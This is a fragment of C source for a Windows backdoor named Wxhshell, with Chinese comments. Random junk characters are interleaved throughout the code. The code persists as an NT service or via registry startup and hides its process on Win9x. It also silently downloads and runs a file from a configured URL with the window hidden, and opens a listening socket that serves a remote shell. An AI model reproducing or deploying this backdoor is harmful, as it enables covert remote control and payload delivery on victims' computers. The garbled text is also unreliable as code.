<; y,4f if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X+"8yZz3? pv8"E?9,k CloseHandle(hProcess); 6n37R#( !^BXai/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 10xo<@l if(hProcess==NULL) return 0; C^I h"S :c%vl$ HMODULE hMod; 0p\R@{ char procName[255]; }2 zJ8A9- unsigned long cbNeeded; e{@TR x 4SSq5Ve< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0Pw?@uV TMZg GUn CloseHandle(hProcess); sXxF5&AF0 E8#r<=(m if(strstr(procName,"services")) return 1; // 以服务启动 so_ +o})Cs`|=A return 0; // 注册表启动 g(m3
& } \NwL #bQ~ mle"!* // 主模块 [I:D\)$< int StartWxhshell(LPSTR lpCmdLine) 2^N
4( { d[;=X .fZ2 SOCKET wsl; )TV4OT# BOOL val=TRUE; ma.yI};$ int port=0; ;(M`Wy]2 struct sockaddr_in door; Z|+SC \Y [P`t8 if(wscfg.ws_autoins) Install(); *fVs| ~yz7/?A)TS port=atoi(lpCmdLine); -#T?C]} I;kKY
if(port<=0) port=wscfg.ws_port; is_`UDaB f.rc~UI? WSADATA data; qYLOq`<f if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 44_7gOZ bj^YB,iSM if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zOkU R9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FRpTYLA2 door.sin_family = AF_INET; hp?hb-4l door.sin_addr.s_addr = inet_addr("127.0.0.1"); #7K&x.w$ door.sin_port = htons(port); %IG cn48J lgp-/O"T if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { biFy*+| closesocket(wsl); F<y$Q0Z} return 1; j2NnDz' } o =)hUr I8
Ai_^P if(listen(wsl,2) == INVALID_SOCKET) { mf]1mG}) closesocket(wsl); >(+g:p return 1; Qe<DX" } V4p4m@z^u Wxhshell(wsl); hKP!;R WSACleanup(); 2lPj%i 5 :{NvBxc[ return 0; t.B%7e +Mth+qg w } \P% E1c# zTb!$8D"g // 以NT服务方式启动 pcIJija: VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v~i/e+.h>y { $r} )j~c DWORD status = 0; M; *f(JY$ DWORD specificError = 0xfffffff; {2?o: v#i,pBj serviceStatus.dwServiceType = SERVICE_WIN32; Nq
%@(K serviceStatus.dwCurrentState = SERVICE_START_PENDING; d7Lna^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iW\cLp " serviceStatus.dwWin32ExitCode = 0; h; 105$E1 serviceStatus.dwServiceSpecificExitCode = 0; A+i|zo5p=k serviceStatus.dwCheckPoint = 0; =9@{U2 =l serviceStatus.dwWaitHint = 0; !}fq%8"- t>;u;XY!; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Stqlp<xy if (hServiceStatusHandle==0) return; dbF?#s~u !C>}j* 4 status = GetLastError(); mEsOYIu{ if (status!=NO_ERROR) Iqe=) { t.Hte/,k serviceStatus.dwCurrentState = SERVICE_STOPPED; #M$Gj>E%4 serviceStatus.dwCheckPoint = 0; /*=1hF serviceStatus.dwWaitHint = 0; gB1w,96J serviceStatus.dwWin32ExitCode = status; H(bR@Qok serviceStatus.dwServiceSpecificExitCode = specificError; pj?wQ' SetServiceStatus(hServiceStatusHandle, &serviceStatus); $w{!}U 2+- return; x#z}A&
} WO{V,<; hd*bPj; serviceStatus.dwCurrentState = SERVICE_RUNNING; Cisv**9 serviceStatus.dwCheckPoint = 0; $oKT-G serviceStatus.dwWaitHint = 0; <RzGxhT if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [>l2E } QTX5F5w w~EBm=v_> // 处理NT服务事件,比如:启动、停止 1"k"<{% VOID WINAPI NTServiceHandler(DWORD fdwControl) y7J2:/@[x { Dj!v+<b switch(fdwControl) CjRI!}S { []R`h*# case SERVICE_CONTROL_STOP: .*+?] serviceStatus.dwWin32ExitCode = 0; 9Qja|; serviceStatus.dwCurrentState = SERVICE_STOPPED; CD|)TXy serviceStatus.dwCheckPoint = 0; PMPB}-d serviceStatus.dwWaitHint = 0; .{U@Hva_K { *3 .+19Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7,Tg>,%Q } %\OG#36 return; }c/p+Wo case SERVICE_CONTROL_PAUSE: Uz(Sv:G serviceStatus.dwCurrentState = SERVICE_PAUSED; 6^
UQ{P1; break; 6;rJIk@Fx= case SERVICE_CONTROL_CONTINUE: z3RD*3b serviceStatus.dwCurrentState = SERVICE_RUNNING; Fljqh8c5 break; VNKtJmt case SERVICE_CONTROL_INTERROGATE: @64PdM!L break; 20glz( }; t#
cm| SetServiceStatus(hServiceStatusHandle, &serviceStatus); .ET@J`"M } $kPC"!X\ >|h$d:~n // 标准应用程序主函数 8BP.VxX int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YCJc Dab { {s^vAD<~x3 s~OGlPK // 获取操作系统版本 uA]Z" OsIsNt=GetOsVer(); yk
r5bS GetModuleFileName(NULL,ExeFile,MAX_PATH); g *}M;"
Imi;EHW // 从命令行安装 |#hj O3 if(strpbrk(lpCmdLine,"iI")) Install(); GF(<!PC @2H"8KX // 下载执行文件 $Pw@EC] if(wscfg.ws_downexe) { t
As@0`x9 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ww8<f$ WinExec(wscfg.ws_filenam,SW_HIDE); 05_aL` &eb } =2;2_u? -"m4 A0 if(!OsIsNt) { 3/+r*lv>X // 如果时win9x,隐藏进程并且设置为注册表启动 qfF/X"#0 HideProc(); ')]K& StartWxhshell(lpCmdLine); NCm>iEeY } xw2dEvjgp% else jhs('n, if(StartFromService()) XN+~g.0 // 以服务方式启动 "VEA71 StartServiceCtrlDispatcher(DispatchTable); d4'*K1m else Gwl]sMJ // 普通方式启动 /F#_~9JXG StartWxhshell(lpCmdLine); h>jLhj<07W wNzALfS return 0; tu.Tvtudzj }
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